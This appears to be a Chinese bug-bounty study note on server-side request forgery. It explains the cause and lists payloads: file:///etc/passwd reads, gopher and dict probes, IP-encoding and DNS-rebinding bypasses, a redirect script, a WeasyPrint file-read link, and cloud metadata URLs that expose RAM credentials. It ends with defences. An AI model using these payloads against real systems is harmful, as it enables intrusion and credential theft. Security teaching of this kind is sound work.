SRC中的SSRF漏洞挖掘笔记
1. SSRF漏洞简介
SSRF全称:Server-Side Request Forgery,即服务器端请求伪造。这是一个由攻击者构造请求,在目标服务端执行的安全漏洞。攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求,目标通常是从外网无法访问的内部系统。
简单来说,就是利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击。
2. SSRF漏洞原理
SSRF产生的原因是服务端提供了能够从其他服务器应用获取数据的功能,比如:
- 从指定的URL地址获取网页内容
- 加载指定地址的图片、数据
- 下载功能等
漏洞URL示例:http://xxx.com/api/readFiles?url=http://10.1.11/xxx
3. SSRF漏洞危害
- 可以对服务器所在的内网环境进行端口扫描、资源访问
- 利用漏洞和Payload进一步攻击运行其他的应用程序
- 对内网web应用进行指纹识别,通过访问应用存在的默认文件实现
- GET型漏洞利用,GET参数就可以实现的攻击,比如struts2漏洞利用等
- POST型漏洞利用,可利用gopher协议进行参数构造
- 利用Redis未授权访问getshell、Weblogic默认SSRF漏洞页面
- 云服务器上的SSRF可以攻击元数据服务、存储桶、Kubelet API等
4. SSRF常见场景及参数
常见场景
- 通过URL地址进行网页分享:
http://share.xxx.com/index.php?url=http://www.xxx.com - 转码服务,通过URL地址把原地址的网页转换格式
- 图片加载与下载:
http://image.xxx.com/image.php?image=http://www.xxx.com - 未公开的api实现以及其他调用url的功能
- 设备后台管理进行存活测试
- 远程资源调用功能
- 数据库内置功能
- 编辑器进行远程图片抓取,如:ueditor
- 打包附件或者内容编辑并导出时
- PDF生成或导出
常见参数
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain...
5. SSRF漏洞成因
产生漏洞的函数
根据后台使用的函数的不同,相应的影响和利用方法也不一样,PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
将整个文件读入一个字符串中,是PHP中读取文件内容的首选方法。
示例:
<?php
echo file_get_contents("test.txt");
?>
fsockopen()
使用fsockopen函数实现获取用户制定url的数据(文件或者html)。
curl_exec()
该函数可以执行给定的curl会话。
6. SSRF利用协议
常用攻击协议
-
http(s):最常用的SSRF漏洞利用协议,作用为直接访问http资源
- 示例:
http://xxx.com/api/readFiles?url=http://10.1.1.1/x
- 示例:
-
file:可利用此协议进行服务器文件读取
- 示例:
http://xxx.com/api/readFiles?url=file:///etc/passwd
- 示例:
-
dict:可用此协议进行端口开放探测
- 示例:
http://xxx.com/api/readFiles?url=dict://100.1.1:22
- 示例:
-
gopher:支持发出GET、POST请求,可进行复杂的漏洞利用
- 示例:
gopher://192.168.1.120:80/_GET%20/get.php%3fname=admin%20HTTP/1.1%0d%0aHost:xxx.com%0d%0aRequest
- 示例:
7. SSRF常用绕过方法
绕过域名限制
-
@符:绕过域名限制
- 示例:
http://www.xxx.com@10.10.10.10,实际访问的是10.10.10.10
- 示例:
-
/#/符:绕过后缀限制
- 示例:
http://10.10.10.10:5001/#/abc.jpg,实际访问的是http://10.10.10.10:5001
- 示例:
绕过内网IP限制
-
点分割符号替换:
- 示例:
127。0。0。1、127。。0。。0。。1
- 示例:
-
xip.io:
- 示例:
10.10.10.10.xip.io会被解析成10.10.10.10
- 示例:
-
数字IP地址:
- 示例:
http://2130706433/(127.0.0.1的十进制)
- 示例:
-
短网址:
- 示例:
https://www.985.so/
- 示例:
-
进制转换:
- 八进制:
0177.0.0.1 - 十六进制:
0x7f.0.0.1
- 八进制:
-
封闭式字母数字(Enclosed Alphanumerics):
- 示例:
example.com、127.0.0.1
- 示例:
高级绕过技术
-
DNS重绑定:
- 利用DNS解析和请求之间的时间差
- 在线DNS重绑定平台:
https://lock.cmpxchg8b.com/rebinder.html
-
302重定向:
- 示例代码:
<?php header("Location: http://192.168.1.10"); exit(); ?>
- 示例代码:
-
绕过localhost限制:
http://[::1]http://[::]:80/http://0:80
-
协议限制绕过:
- 如禁用了部分协议,尝试转换使用其他协议:http(s)、file、dict、gopher、(sftp、ldap、tftp)
8. SSRF漏洞案例
导入/导出型SSRF(无回显)
漏洞原理:在导入/上传图片、数据等内容时将图片链接换成dnslog链接,服务器则在请求资源时会访问dnslog链接
示例:
POST /api/apimanage/trans/getThirdPartSwaggerJsonByAddr/ HTTP/1.1
Host: apicloud.xxx.com
Cookie: xxx=xxx
{"addr":"http://106.12.xx.xx/302.php"}
HTML导出PDF下的SSRF(组件)
WeasyPrint是一个用于HTML和CSS的可视化渲染引擎,可以将HTML文档导出为打印标准的PDF文件。
利用方法:
<link rel=attachment href="file:///root/secret.txt">
云上SSRF利用
腾讯云元数据查询
- 访问元数据:
http://metadata.tencentyun.com/latest/meta-data/ - 获取实例内网IP:
http://metadata.tencentyun.com/latest/meta-data/local-ipv4 - 获取实例公网IP:
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
阿里云元数据查询
- 查看实例元数据的根目录:
http://100.100.100.200/latest/meta-data - 查看实例ID:
http://100.100.100.200/latest/meta-data/instance-id - 访问RAM角色的临时凭证:
http://100.100.100.200/latest/meta-data/ram/security-credentials/
9. SSRF加固和防御
内网环境下SSRF防御
- 去除url中的特殊字符
- 将域名解析为IP,对内网IP进行限制
- 不跟随30x跳转(跟随跳转需要从1开始重新检测)
- 禁用高危协议,例如:gopher、dict、ftp、file等,只允许http/https
- 请求时设置host header为ip
- 统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态
云上SSRF防御
- 加固模式:实例基于token鉴权查看实例元数据
- 普通模式:限制用户RAM角色权限,只赋予自己所需要的权限
参考文章: